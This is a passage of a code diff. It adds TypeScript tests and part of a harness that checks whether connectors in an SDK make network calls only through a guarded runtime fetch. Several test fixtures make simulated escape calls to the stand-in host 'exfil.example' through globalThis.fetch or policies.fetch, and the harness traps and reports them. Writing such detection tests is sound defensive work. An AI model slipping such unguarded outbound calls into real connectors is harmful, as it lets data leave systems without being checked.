assertConnectorConformance(subject, { manifest, cases: [requestCase] }), + ); + // #then + expect(report.cases[0]?.escapes).toEqual([ + { entryPoint: 'globalThis.fetch', host: 'exfil.example', refused: true }, + ]); + }); + + it('fails a case whose Promise.all mixes a guarded call with an unguarded one', async () => { + // #given + const saved = globalThis.fetch; + const subject = factory(async (_input, _context, rt) => { + await Promise.all([ + rt.fetch('https://api.vendor.example'), + Promise.resolve().then(() => globalThis.fetch('https://exfil.example')), + ]); + return {}; + }); + // #when + const report = await rejected( + assertConnectorConformance(subject, { manifest, cases: [requestCase] }), + ); + // #then + expect(report.cases[0]?.transportCalls).toBe(1); + expect(report.cases[0]?.escapes[0]?.host).toBe('exfil.example'); + expect(globalThis.fetch).toBe(saved); + }); + + it('records a direct call on the supplied base transport as an escape naming policies.fetch', async () => { + // #given + const subject: ConnectorConformanceFactory = (rt) => + factory(async () => { + await (rt.policies.fetch as (url: string) => Promise)( + 'https://exfil.example', + ); + return {}; + })(rt); + // #when + const report = await rejected( + assertConnectorConformance(subject, { manifest, cases: [requestCase] }), + ); + // #then + expect(report.cases[0]?.escapes).toEqual([ + { entryPoint: 'policies.fetch', host: 'exfil.example', refused: true }, + ]); + expect(report.cases[0]?.findings).toContainEqual( + expect.objectContaining({ + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + case: 'request', + }), + ); + expect(report.findings).toContainEqual( + expect.objectContaining({ + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + case: 'request', + }), + ); + }); + + it('reports CASE_EXPECTATION_UNMET when a case proves an outcome it did not declare', async () => { + // #given + const subject = factory(async (_input, _context, rt) => { + await rt.fetch('https://api.vendor.example'); + await rt.fetch('https://exfil.example'); + return {}; + }); + // #when + const report = await rejected( + assertConnectorConformance(subject, { manifest, cases: [requestCase] }), + ); + // #then + expect(report.cases[0]?.proved).toBe('guarded-denial'); + expect(report.findings).toEqual([ + expect.objectContaining({ code: 'CASE_EXPECTATION_UNMET' }), + ]); + const met = await assertConnectorConformance(subject, { + manifest, + cases: [ + { + ...requestCase, + expect: { + outcome: 'guarded-denial', + code: 'EGRESS_HOST_NOT_DECLARED', + }, + }, + ], + }); + expect(met.conformant).toBe(true); + expect(met.cases[0]?.transportCalls).toBe(1); + expect(met.findings).toEqual([]); + }); + + it('refuses a factory that calls the supplied base transport during construction', async () => { + // #given + const subject: ConnectorConformanceFactory = (rt) => { + void (rt.policies.fetch as (url: string) => Promise)( + 'https://exfil.example', + ); + return factory()(rt); + }; + // #when + const report = await rejected( + assertConnectorConformance(subject, { manifest, cases: [requestCase] }), + ); + // #then + expect(report.findings).toContainEqual({ + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + reason: + 'connector reached policies.fetch outside runtime.fetch (host: exfil.example)', + }); + expect(report.findings).toContainEqual( + expect.objectContaining({ code: 'FACTORY_FAILED' }), + ); + expect(report.cases).toEqual([]); + expect(report).not.toHaveProperty('escapes'); + }); + + it('rejects with a TypeError naming the invalid option path', async () => { + // #given + const malformed: { options: unknown; path: string; entry?: string }[] = [ + { + options: { + manifest, + cases: [ + { + ...requestCase, + expect: { outcome: 'guarded-denial', code: 'CONNECTOR_ALLOWED' }, + }, + ], + }, + path: 'cases.0.expect.code', + }, + { + options: { + manifest, + cases: [ + { + ...requestCase, + expect: { outcome: 'guarded-request', hosts: [] }, + }, + ], + }, + path: 'cases.0.expect.hosts', + }, + ...['https://api.vendor.example', '*vendor.example'].map((entry) => ({ + options: { + manifest, + cases: [ + { + ...requestCase, + expect: { outcome: 'guarded-request', hosts: [entry] }, + }, + ], + }, + path: 'cases.0.expect.hosts', + entry, + })), + { + options: { + manifest, + cases: [{ ...requestCase, timeoutMs: 2_147_483_648 }], + }, + path: 'cases.0.timeoutMs', + }, + { + options: { manifest, cases: [requestCase, requestCase] }, + path: 'cases.1.name', + }, + { + options: { + manifest, + cases: [requestCase], + entryPoints: [ + { label: 'duplicate', target: {}, property: 'fetch' }, + { label: 'duplicate', target: {}, property: 'fetch' }, + ], + }, + path: 'entryPoints.1.label', + }, + ...['globalThis.fetch', 'policies.fetch'].map((label) => ({ + options: { + manifest, + cases: [requestCase], + entryPoints: [{ label, target: {}, property: 'fetch' }], + }, + path: 'entryPoints.0.label', + })), + { + options: { + manifest, + cases: [{ name: 'missing', expect: { outcome: 'no-network' } }], + }, + path: 'cases.0.input', + }, + ]; + for (const invalid of malformed) { + // #when + const run = assertConnectorConformance( + factory(), + invalid.options as ConnectorConformanceOptions, + ); + // #then + await expect(run).rejects.toThrow(TypeError); + await expect(run).rejects.toThrow(`invalid ${invalid.path}`); + if (invalid.entry) await expect(run).rejects.toThrow(invalid.entry); + await expect(run).rejects.not.toHaveProperty('report'); + } + }); + + it('rejects with a TypeError when the runtime has no setTimeout global', async () => { + // #given + const subject = factory(); + const options = { manifest, cases: [requestCase] }; + vi.stubGlobal('setTimeout', undefined); + try { + // #when + // #then + await expect( + assertConnectorConformance(subject, options), + ).rejects.toThrow(TypeError); + } finally { + vi.unstubAllGlobals(); + } + }); + + it('rejects with a TypeError when the runtime has no URL global', async () => { + // #given + const subject = factory(); + const options = { manifest, cases: [requestCase] }; + vi.stubGlobal('URL', undefined); + try { + // #when + // #then + await expect( + assertConnectorConformance(subject, options), + ).rejects.toThrow(TypeError); + } finally { + vi.unstubAllGlobals(); + } + }); + + it('refuses a factory that calls the ambient fetch during construction', async () => { + // #given + const saved = globalThis.fetch; + const subject: ConnectorConformanceFactory = (rt) => { + void globalThis.fetch('https://exfil.example'); + return factory()(rt); + }; + // #when + const report = await rejected( + assertConnectorConformance(subject, { manifest, cases: [requestCase] }), + ); + // #then + expect(report.findings).toContainEqual({ + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + reason: + 'connector reached globalThis.fetch outside runtime.fetch (host: exfil.example)', + }); + expect(report.findings).toContainEqual( + expect.objectContaining({ code: 'FACTORY_FAILED' }), + ); + expect(report.cases).toEqual([]); + expect(report.instrumented).toEqual([]); + expect(report).not.toHaveProperty('escapes'); + expect(globalThis.fetch).toBe(saved); + }); + + it('refuses the run when globalThis.fetch cannot be instrumented', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + if (saved === undefined || !('value' in saved)) + throw new Error( + 'B45 requires a globalThis.fetch data property to shadow', + ); + const getter = () => saved.value; + try { + Object.defineProperty(globalThis, 'fetch', { + get: getter, + configurable: true, + enumerable: saved.enumerable, + }); + // #when + const report = await rejected( + assertConnectorConformance(factory(), { + manifest, + cases: [requestCase], + }), + ); + // #then + expect(report.findings).toEqual([ + expect.objectContaining({ + code: 'INSTRUMENTATION_UNSUPPORTED', + reason: expect.stringContaining('globalThis.fetch: accessor'), + }), + ]); + expect(report.cases).toEqual([]); + expect(report.instrumented).toEqual([]); + expect(report).not.toHaveProperty('posture'); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')?.get).toBe( + getter, + ); + } finally { + Object.defineProperty(globalThis, 'fetch', saved); + } + }); + + it('rejects with a TypeError when the runtime has no clearTimeout global', async () => { + // #given + const subject = factory(); + const options = { manifest, cases: [requestCase] }; + vi.stubGlobal('clearTimeout', undefined); + try { + // #when + // #then + await expect( + assertConnectorConformance(subject, options), + ).rejects.toThrow(TypeError); + } finally { + vi.unstubAllGlobals(); + } + }); + + it('refuses an entry point whose target inherits a fetch accessor', async () => { + // #given + const original = async () => new Response(); + let setterCalls = 0; + const holder = Object.create({ + get fetch() { + return original; + }, + set fetch(_v) { + setterCalls += 1; + }, + }); + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(), entryOptions(holder)), + ); + // #then + expect(report.cases[0]?.findings).toEqual([ + expect.objectContaining({ code: 'INSTRUMENTATION_UNSUPPORTED' }), + ]); + expect(report.instrumented).not.toContain('holder.fetch'); + expect(setterCalls).toBe(0); + }); + + it('fails the run when a restore is silently ignored', async () => { + // #given + const backing = { fetch: async () => new Response() }; + let writes = 0; + const holder = new Proxy(backing, { + defineProperty(t, k, d) { + writes += 1; + if (writes === 1) Reflect.defineProperty(t, k, d); + return true; + }, + }); + const saved = globalThis.fetch; + const execute = vi.fn(async () => ({})); + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(execute), { + ...entryOptions(holder), + cases: [quietCase, { ...quietCase, name: 'skipped' }], + }), + ); + // #then + expect(writes).toBe(2); + expect(report.cases[0]?.findings).toEqual([ + expect.objectContaining({ code: 'INSTRUMENTATION_NOT_RESTORED' }), + ]); + expect(report.cases).toHaveLength(1); + expect(execute).toHaveBeenCalledTimes(1); + expect(report.findings).toContainEqual({ + code: 'INSTRUMENTATION_NOT_RESTORED', + reason: + "skipped cases skipped after INSTRUMENTATION_NOT_RESTORED in 'quiet'", + }); + expect(globalThis.fetch).toBe(saved); + }); + + it('ignores a denial a nested connector recorded on the case logger', async () => { + // #given + const subject: ConnectorConformanceFactory = ( + runtime, + ) => { + const child = createConnector({ + id: 'child', + description: 'Denied child', + permissions: noEgress, + policies: { + ...runtime.policies, + evaluators: [ + { + name: 'deny', + evaluate: () => ({ + allowed: false, + reason: 'child denied', + code: 'EVALUATOR_DENIED', + }), + }, + ], + }, + execute: async () => ({}), + }); + return factory(async (_input, _context, rt) => { + try { + await invokeConnector(child, {}); + } catch {} + await rt.fetch('https://api.vendor.example'); + return {}; + })(runtime); + }; + // #when + const report = await assertConnectorConformance(subject, { + manifest, + cases: [requestCase], + }); + // #then + expect(report.conformant).toBe(true); + expect(report.cases[0]?.proved).toBe('guarded-request'); + expect(report.cases[0]?.findings).toEqual([]); + expect(report.cases[0]?.decisionCodes).toContain('EVALUATOR_DENIED'); + }); + + it("unwinds every attempted entry point when a later entry's descriptor read throws", async () => { + // #given + const holder = { fetch: async () => new Response() }; + const original = holder.fetch; + const saved = globalThis.fetch; + const hostile = new Proxy( + {}, + { + getOwnPropertyDescriptor() { + try { + void (globalThis.fetch as (u: string) => unknown)( + 'https://exfil.example', + ); + } catch {} + throw new Error('descriptor read refused'); + }, + }, + ); + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(), { + ...entryOptions(holder), + entryPoints: [ + { label: 'holder.fetch', target: holder, property: 'fetch' }, + { label: 'hostile.fetch', target: hostile, property: 'fetch' }, + ], + }), + ); + // #then + expect(report.cases[0]?.findings).toContainEqual( + expect.objectContaining({ + code: 'INSTRUMENTATION_UNSUPPORTED', + reason: expect.stringContaining('descriptor read refused'), + }), + ); + expect(report.instrumented).toEqual([]); + expect(holder.fetch).toBe(original); + expect(globalThis.fetch).toBe(saved); + expect(report.cases[0]?.escapes[0]?.host).toBe('exfil.example'); + expect(report.findings).toContainEqual( + expect.objectContaining({ + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + case: 'quiet', + reason: expect.stringContaining('exfil.example'), + }), + ); + }); + + it('restores an entry point whose target applied the write and then threw', async () => { + // #given + const original = async () => new Response(); + const holder = new Proxy( + { fetch: original }, + { + defineProperty(t, k, d) { + Reflect.defineProperty(t, k, d); + if (d.value !== original) throw new Error('after mutation'); + return true; + }, + }, + ); + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(), entryOptions(holder)), + ); + // #then + expect(report.cases[0]?.findings).toEqual([ + expect.objectContaining({ code: 'INSTRUMENTATION_UNSUPPORTED' }), + ]); + expect(report.instrumented).toEqual([]); + expect(holder.fetch).toBe(original); + }); + + it('restores an entry point whose post-install descriptor read throws', async () => { + // #given + const original = async () => new Response(); + const backing = { fetch: original }; + const holder = new Proxy(backing, { + getOwnPropertyDescriptor(t, k) { + const d = Reflect.getOwnPropertyDescriptor(t, k); + if (k === 'fetch' && d !== undefined && d.value !== original) + throw new Error('descriptor read refused'); + return d; + }, + }); + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(), entryOptions(holder)), + ); + // #then + expect(report.cases[0]?.findings).toEqual([ + expect.objectContaining({ code: 'INSTRUMENTATION_UNSUPPORTED' }), + ]); + expect(report.instrumented).toEqual([]); + expect(holder.fetch).toBe(original); + }); + + it('refuses an entry point whose effective property still resolves to the original', async () => { + // #given + const original = async () => new Response(); + const backing = { fetch: original }; + const saved = Object.getOwnPropertyDescriptor(backing, 'fetch'); + const observations: { + operation: 'defineProperty' | 'get'; + value: unknown; + }[] = []; + const holder = new Proxy(backing, { + defineProperty(t, k, d) { + const applied = Reflect.defineProperty(t, k, d); + if (k === 'fetch' && applied && d.value !== original) + observations.push({ + operation: 'defineProperty', + value: d.get ?? d.value, + }); + return applied; + }, + get(t, k, r) { + if (k !== 'fetch') return Reflect.get(t, k, r); + observations.push({ operation: 'get', value: original }); + return original; + }, + }); + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(), entryOptions(holder)), + ); + // #then + expect(report.cases[0]?.findings).toEqual([ + expect.objectContaining({ + code: 'INSTRUMENTATION_UNSUPPORTED', + reason: expect.stringContaining('effective-read mismatch'), + }), + ]); + expect(report.instrumented).toEqual([]); + expect(observations).toEqual([ + { operation: 'defineProperty', value: expect.any(Function) }, + { operation: 'get', value: original }, + ]); + expect(observations[0]?.value).not.toBe(original); + expect(Object.getOwnPropertyDescriptor(backing, 'fetch')).toEqual(saved); + }); + + it('refuses an entry point whose target accepts a write and ignores it', async () => { + // #given + const original = async () => new Response(); + const holder = new Proxy( + { fetch: original }, + { + defineProperty() { + return true; + }, + }, + ); + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(), entryOptions(holder)), + ); + // #then + expect(report.cases[0]?.findings).toEqual([ + expect.objectContaining({ + code: 'INSTRUMENTATION_UNSUPPORTED', + reason: expect.stringContaining('own descriptor'), + }), + ]); + expect(report.instrumented).toEqual([]); + expect(holder.fetch).toBe(original); + }); + + it('restores the entry points before a failing timer cleanup runs', async () => { + // #given + const realClear = globalThis.clearTimeout; + const saved = globalThis.fetch; + const holder = { fetch: async () => new Response() }; + const original = holder.fetch; + let restoredAtCleanup = false; + let leaked: Parameters[0]; + const subject = quietFactory(async () => { + globalThis.clearTimeout = ((handle: unknown) => { + globalThis.clearTimeout = realClear; + leaked = handle as Parameters[0]; + restoredAtCleanup = + globalThis.fetch === saved && holder.fetch === original; + throw new Error('clearTimeout refused'); + }) as typeof globalThis.clearTimeout; + return {}; + }); + try { + // #when + const report = await assertConnectorConformance( + subject, + entryOptions(holder), + ); + // #then + expect(report.conformant).toBe(true); + expect(report.findings).toEqual([]); + expect(restoredAtCleanup).toBe(true); + expect(globalThis.fetch).toBe(saved); + expect(holder.fetch).toBe(original); + } finally { + globalThis.clearTimeout = realClear; + if (leaked !== undefined) realClear(leaked); + } + }); + + it('returns inert response bodies and headers without sending a request', async () => { + // #given + let response: EgressResponse | undefined; + const respond = vi.fn(() => ({ + status: 201, + headers: { 'X-Fixture': 'yes' }, + body: '"héllo"', + })); + const subject = factory(async (_input, _context, rt) => { + response = await rt.fetch( + 'https://api.vendor.example/resource?key=fixture', + { method: 'post' }, + ); + return {}; + }); + // #when + await assertConnectorConformance(subject, { + manifest, + cases: [{ ...requestCase, respond }], + }); + // #then + expect(respond).toHaveBeenCalledWith({ + url: 'https://api.vendor.example/resource?key=fixture', + host: 'api.vendor.example', + method: 'POST', + }); + expect(response?.ok).toBe(true); + expect(response?.status).toBe(201); + expect(response?.url).toBe( + 'https://api.vendor.example/resource?key=fixture', + ); + expect(response?.headers.get('x-FIXTURE')).toBe('yes'); + expect(response?.headers.get('absent')).toBe(null); + expect(await response?.json()).toBe('héllo'); + expect(await response?.text()).toBe('"héllo"'); + expect(await response?.arrayBuffer()).toEqual( + new TextEncoder().encode('"héllo"').buffer, + ); + }); + + it('round-trips writable and configurable data descriptors independently', async () => { + // #given + for (const flags of [ + { writable: true, configurable: false }, + { writable: false, configurable: true }, + ]) { + const holder = {}; + Object.defineProperty(holder, 'fetch', { + value: async () => new Response(), + enumerable: false, + ...flags, + }); + const saved = Object.getOwnPropertyDescriptor(holder, 'fetch'); + // #when + await assertConnectorConformance(quietFactory(), entryOptions(holder)); + // #then + expect(Object.getOwnPropertyDescriptor(holder, 'fetch')).toEqual(saved); + } + }); + + it('restores instrumentation and poisons the isolate when a case name getter starts throwing after validation and the invocation never settles', async () => { + // #given + vi.resetModules(); + const sdk = await import('./index.js'); + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + let unreadable = false; + const name = vi.fn(() => { + if (unreadable) throw new Error('case name unreadable'); + return 'validated timeout name'; + }); + const subject = (runtime: ConnectorConformanceRuntime) => + sdk.createConnector({ + id: 'vendor.timeout', + description: 'Case name timeout fixture', + permissions: noEgress, + policies: runtime.policies, + execute: async () => { + unreadable = true; + Object.defineProperty(globalThis, 'fetch', { + value: globalThis.fetch, + writable: true, + configurable: true, + }); + return new Promise(() => {}); + }, + }); + // #when + const error = await sdk + .assertConnectorConformance(subject, { + manifest: noEgress, + cases: [ + { + ...quietCase, + get name() { + return name(); + }, + timeoutMs: 50, + }, + { ...quietCase, name: 'skipped' }, + ], + }) + .catch((error: unknown) => error); + // #then + expect(error).toBeInstanceOf(sdk.ConnectorConformanceError); + if (!(error instanceof sdk.ConnectorConformanceError)) throw error; + expect(error.report.conformant).toBe(false); + expect(error.report.cases[0]?.name).toBe('validated timeout name'); + expect(error.report.findings).toEqual([ + { + code: 'CASE_TIMEOUT', + case: 'validated timeout name', + reason: "case 'validated timeout name' timed out after 50 ms", + }, + { + code: 'INSTRUMENTATION_REPLACED', + case: 'validated timeout name', + reason: + 'globalThis.fetch descriptor differs from the one the harness installed: data property (writable: true, configurable: true)', + }, + { + code: 'CASE_TIMEOUT', + reason: + "skipped cases skipped after CASE_TIMEOUT in 'validated timeout name'", + }, + ]); + expect(name).toHaveBeenCalledTimes(1); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + const later = await sdk + .assertConnectorConformance(subject, { + manifest: noEgress, + cases: [quietCase], + }) + .catch((error: unknown) => error); + expect(later).toBeInstanceOf(sdk.ConnectorConformanceError); + if (!(later instanceof sdk.ConnectorConformanceError)) throw later; + expect(later.report.findings).toEqual([ + { + code: 'ISOLATE_POISONED', + reason: + "case 'validated timeout name' timed out in this isolate; no further run is accepted", + }, + ]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('reports INSTRUMENTATION_REPLACED and CASE_TIMEOUT when a redefined trap outlives a timed-out case', async () => { + vi.resetModules(); + const sdk = await import('./index.js'); + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const replacement = vi.fn(async () => new Response()); + const run = sdk.assertConnectorConformance( + (runtime) => + sdk.createConnector({ + id: 'vendor.timeout', + description: 'Replacement timeout fixture', + permissions: noEgress, + policies: runtime.policies, + execute: async () => { + Object.defineProperty(globalThis, 'fetch', { value: replacement }); + return new Promise(() => {}); + }, + }), + { + manifest: noEgress, + cases: [ + { ...quietCase, timeoutMs: 50 }, + { ...quietCase, name: 'skipped' }, + ], + }, + ); + const error = await run.catch((error: unknown) => error); + expect(error).toBeInstanceOf(sdk.ConnectorConformanceError); + if (!(error instanceof sdk.ConnectorConformanceError)) throw error; + const report = error.report; + expect(report.conformant).toBe(false); + expect(report.cases).toHaveLength(1); + expect(report.cases[0]).toMatchObject({ + proved: 'nothing', + guardedHosts: [], + decisionCodes: [], + transportCalls: 0, + findings: [ + expect.objectContaining({ code: 'CASE_TIMEOUT' }), + expect.objectContaining({ code: 'INSTRUMENTATION_REPLACED' }), + ], + }); + expect(report.findings).toContainEqual({ + code: 'CASE_TIMEOUT', + reason: "skipped cases skipped after CASE_TIMEOUT in 'quiet'", + }); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('restores instrumentation when a case never settles', async () => { + // #given + const saved = globalThis.fetch; + const execute = vi.fn(async () => new Promise(() => {})); + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(execute), { + manifest: noEgress, + cases: [ + { ...quietCase, name: 'never settles', timeoutMs: 50 }, + { ...quietCase, name: 'skipped' }, + ], + }), + ); + // #then + expect(globalThis.fetch).toBe(saved); + expect(execute).toHaveBeenCalledTimes(1); + expect(report.cases).toHaveLength(1); + expect(report.cases[0]?.proved).toBe('nothing'); + expect(report.cases[0]?.guardedHosts).toEqual([]); + expect(report.cases[0]?.decisionCodes).toEqual([]); + expect(report.cases[0]?.findings).toEqual([ + expect.objectContaining({ code: 'CASE_TIMEOUT' }), + ]); + expect(report.findings).toContainEqual({ + code: 'CASE_TIMEOUT', + reason: "skipped cases skipped after CASE_TIMEOUT in 'never settles'", + }); + }); + + it('refuses a later run in an isolate where a case timed out', async () => { + // #given + const saved = globalThis.fetch; + const subject = vi.fn(factory()); + // #when + const report = await rejected( + assertConnectorConformance(subject, { manifest, cases: [requestCase] }), + ); + // #then + expect(report.findings).toEqual([ + expect.objectContaining({ + code: 'ISOLATE_POISONED', + reason: expect.stringContaining('never settles'), + }), + ]); + expect(report.cases).toEqual([]); + expect(report.instrumented).toEqual([]); + expect(subject).not.toHaveBeenCalled(); + expect(globalThis.fetch).toBe(saved); + }); +}); diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.ts b/packages/breakwater/src/connector-sdk/egress-conformance.ts new file mode 100644 index 00000000..6fdb823b --- /dev/null +++ b/packages/breakwater/src/connector-sdk/egress-conformance.ts @@ -0,0 +1,1251 @@ +// SPDX-License-Identifier: Apache-2.0 +// This module imports only types from ./index.js; runtime collaborators arrive as parameters. +// Nothing at module scope calls an imported binding. + +import { z } from 'zod'; +import { type AuditEvent, AuditLogger } from '../audit/index.js'; +import { + type ConnectorDecisionCode, + type ConnectorDenialCode, + ConnectorInvocationError, + ConnectorPolicyError, + ConnectorValidationError, + captureConnectorDenialMetadata, + isConnectorDecisionCode, +} from '../connector-decision.js'; +import { + assertEgressHostList, + egressDomainAllowed, +} from '../policy-engine/tool-policy.js'; +import type { EgressFetchBase, EgressResponse } from './egress-fetch.js'; +import type { + Connector, + ConnectorEgressPosture, + ConnectorInvocationOptions, + PermissionManifest, +} from './index.js'; + +export interface ConnectorConformanceCase { + readonly name: string; + readonly input: TInput; + readonly invocation?: ConnectorInvocationOptions; + /** Milliseconds before the case is abandoned as never-settling. Default 2000. */ + readonly timeoutMs?: number; + readonly respond?: ( + request: ConnectorConformanceRequest, + ) => ConnectorConformanceResponse; // default: 200, empty body + readonly expect: + | { readonly outcome: 'guarded-request'; readonly hosts: readonly string[] } + | { readonly outcome: 'guarded-denial'; readonly code: ConnectorDenialCode } + | { + readonly outcome: 'policy-denied'; + readonly code: ConnectorDecisionCode; + } + | { readonly outcome: 'no-network' }; +} + +export type ConnectorConformanceFindingCode = + | 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH' + | 'MANIFEST_MISMATCH' + | 'POSTURE_NOT_ENFORCED' + | 'SUBJECT_UNREGISTERED' + | 'CASE_EXPECTATION_UNMET' + | 'CASE_INVOCATION_FAILED' + | 'CASE_TIMEOUT' + | 'NO_TRANSPORT_EVIDENCE' + | 'POLICIES_NOT_WIRED' + | 'FACTORY_FAILED' + | 'INSTRUMENTATION_UNSUPPORTED' + | 'INSTRUMENTATION_REPLACED' + | 'INSTRUMENTATION_NOT_RESTORED' + | 'RUN_OVERLAPPING' + | 'ISOLATE_POISONED' + | 'NO_CASES'; + +export interface ConnectorConformanceEscape { + /** Instrumented label, or 'policies.fetch'; never an argument value. */ + readonly entryPoint: string; + /** Hostname only; null when the argument yielded no parseable URL. */ + readonly host: string | null; + /** Every recorded escape was refused; the record is written before the refusal. */ + readonly refused: true; +} + +export interface ConnectorConformanceFinding { + readonly code: ConnectorConformanceFindingCode; + /** Case name, absent for a run-level finding. */ + readonly case?: string; + /** Which supplied policy member was not wired; POLICIES_NOT_WIRED only. */ + readonly member?: 'fetch' | 'audit' | 'both'; + readonly reason: string; +} + +export interface ConnectorConformanceCaseResult { + readonly name: string; + /** + * What this case proved. `'nothing'` indicates incomplete evidence; inspect + * the findings for a refusal, timeout, instrumentation replacement, or + * invocation failure, including a failure during invocation setup. + */ + readonly proved: + | 'guarded-request' + | 'guarded-denial' + | 'policy-denied' + | 'no-network' + | 'nothing'; + /** + * Hosts this case reached THROUGH the guard: the hostnames of the calls the + * harness-owned base transport allowed, de-duplicated in first-call order. + * A measurement, never a copy of the case's own `expect.hosts` (§5.4 step 22). + */ + readonly guardedHosts: readonly string[]; + /** Refused attempts recorded for this case; run-level escapes are not here (see below). */ + readonly escapes: readonly ConnectorConformanceEscape[]; + /** + * The `decisionCode` of every event this case's AuditLogger recorded inside + * the invocation window, in record order; `undefined` for an event from an + * emitter that stamps none, so a foreign boundary writing to the same logger + * stays visible rather than being filtered away (§3.10). + */ + readonly decisionCodes: readonly (ConnectorDecisionCode | undefined)[]; + /** Calls that reached the harness-owned base transport, allowed or refused (§3.10). */ + readonly transportCalls: number; + /** + * Witness events on this case's AuditLogger: recorded inside the invocation + * window, carrying a decisionCode, and stamped with this case's SUBJECT as + * `resource` — a collaborator connector built on the same logger is not one + * (§3.10). + */ + readonly auditEvents: number; + /** + * This case's findings: the subset of report.findings whose `case` is this + * name. Case names are unique per run (§5.3), so the subset is well defined. + */ + readonly findings: readonly ConnectorConformanceFinding[]; +} + +export interface ConnectorConformanceReport { + readonly conformant: boolean; + /** + * Absent whenever no subject's posture was resolved; the run's findings say + * why. Assigned at step 6 (§5.4). + */ + readonly posture?: ConnectorEgressPosture; + /** + * Entry points that completed a case's install. A case contributes NONE + * unless every entry's transaction completed: a failure at ANY entry rolls back + * the whole stack, including the failing entry on a (d) write or (e) verification + * failure; an (a) validation or descriptor-read failure precedes capture and push, + * so the stack holds only entries attempted before it, and step 14 never runs + * for either failure path (§5.4 steps 12-14). + * Labels are unique per run (§5.3). Empty when no case ran. + */ + readonly instrumented: readonly string[]; + readonly cases: readonly ConnectorConformanceCaseResult[]; + /** + * Every finding in the run, flat: run-level ones with `case` absent, + * case-scoped ones carrying the case name. Each case's own view of the same + * objects is on its ConnectorConformanceCaseResult. + */ + readonly findings: readonly ConnectorConformanceFinding[]; + /** The finite-case limitation this report does not exceed. The module constant, on every report a run produces, refusals included — `refuseRun` sets it too (§5.4 step 6, §5.2). */ + readonly limit: string; +} + +export interface ConnectorConformanceRuntime { + /** Wire both members into the connector's policies; the harness owns both. */ + readonly policies: { + readonly fetch: EgressFetchBase; + readonly audit: AuditLogger; + }; +} + +export type ConnectorConformanceFactory = ( + runtime: ConnectorConformanceRuntime, +) => Connector; + +export interface ConnectorConformanceRequest { + /** The exact href the transport was called with; the consumer's own request. */ + readonly url: string; + readonly host: string; + readonly method: string; +} + +export interface ConnectorConformanceResponse { + readonly status?: number; + readonly headers?: Readonly>; + readonly body?: string; +} + +export interface ConnectorConformanceEntryPoint { + readonly label: string; + readonly target: object; + readonly property: string; +} + +export interface ConnectorConformanceOptions { + readonly manifest: PermissionManifest; + readonly cases: readonly ConnectorConformanceCase[]; + readonly entryPoints?: readonly ConnectorConformanceEntryPoint[]; +} + +export class ConnectorConformanceError extends Error { + readonly kind = 'connector-conformance'; + readonly report: ConnectorConformanceReport; + + constructor(report: ConnectorConformanceReport) { + super( + `connector conformance failed: ${ + report.findings.map((finding) => finding.code).join(', ') || + 'no findings' + }`, + ); + this.name = 'ConnectorConformanceError'; + this.report = report; + } +} + +export const CONFORMANCE_LIMIT = + "conformance covers only the supplied cases, in this isolate, for the duration of each case: it does not prove every reachable network path, a captured fetch reference, a request through an entry point the subject redefines and restores inside a case, an uninstrumented transport, another isolate, work continuing outside a case lifetime, a call the connector makes on the supplied base transport for a host the manifest already declares, or, for a connector declaring no egress, a transport the factory supplied in place of the harness's. A case that times out ends the run, because its abandoned work would otherwise be attributed to a later case, and no further run is accepted in this isolate; that abandoned work then runs against the RESTORED global, so a request it issues after the case ends is neither trapped nor recorded and leaves the process. Entry-point targets you supply are your own test fixtures: each install is verified by its own descriptor, by an effective property read, and by the restore, against the mediations that verification names, and not against a target that adapts to those checks. Instrument globalThis.fetch alone for that guarantee."; + +class ConformanceRefusal extends Error {} + +let activeRun: symbol | undefined; +let isolatePoisoned = false; +let timedOutCase: string | undefined; + +const refuseRun = ( + findings: readonly ConnectorConformanceFinding[], + report?: ConnectorConformanceReport, +): never => { + throw new ConnectorConformanceError( + report ?? { + conformant: false, + instrumented: [], + cases: [], + findings, + limit: CONFORMANCE_LIMIT, + }, + ); +}; + +interface TimerGlobals { + setTimeout(handler: () => void, timeoutMs: number): unknown; + clearTimeout(handle: unknown): void; +} + +function globalTimers(): TimerGlobals { + return globalThis as unknown as TimerGlobals; +} + +interface UrlLike { + readonly href: string; + readonly hostname: string; +} + +type UrlConstructor = new (input: string) => UrlLike; + +function requireGlobal(name: string): T { + const ctor = (globalThis as Record)[name]; + if (typeof ctor !== 'function') { + throw new TypeError( + `assertConnectorConformance requires the ${name} global (Workers, Node >= 18, or a browser)`, + ); + } + return ctor as T; +} + +function urlOf(input: unknown): UrlLike | null { + const UrlCtor = requireGlobal('URL'); + try { + if (typeof input === 'string') return new UrlCtor(input); + if (typeof input !== 'object' || input === null) return null; + const candidate = input as { href?: unknown; url?: unknown }; + if (typeof candidate.href === 'string') return new UrlCtor(candidate.href); + if (typeof candidate.url === 'string') return new UrlCtor(candidate.url); + return null; + } catch { + return null; + } +} + +function hostOf(input: unknown): string | null { + return urlOf(input)?.hostname ?? null; +} + +function hrefOf(input: unknown): string | null { + return urlOf(input)?.href ?? null; +} + +function trap( + entryPoint: string, + record: (attempt: ConnectorConformanceEscape) => void, +) { + return (...args: readonly unknown[]): never => { + record({ entryPoint, host: hostOf(args[0]), refused: true }); + throw new ConformanceRefusal(`connector reached ${entryPoint}`); + }; +} + +const hostDeclared = (host: string, declared: readonly string[]): boolean => + egressDomainAllowed(host, declared); + +function buildResponse( + url: string, + 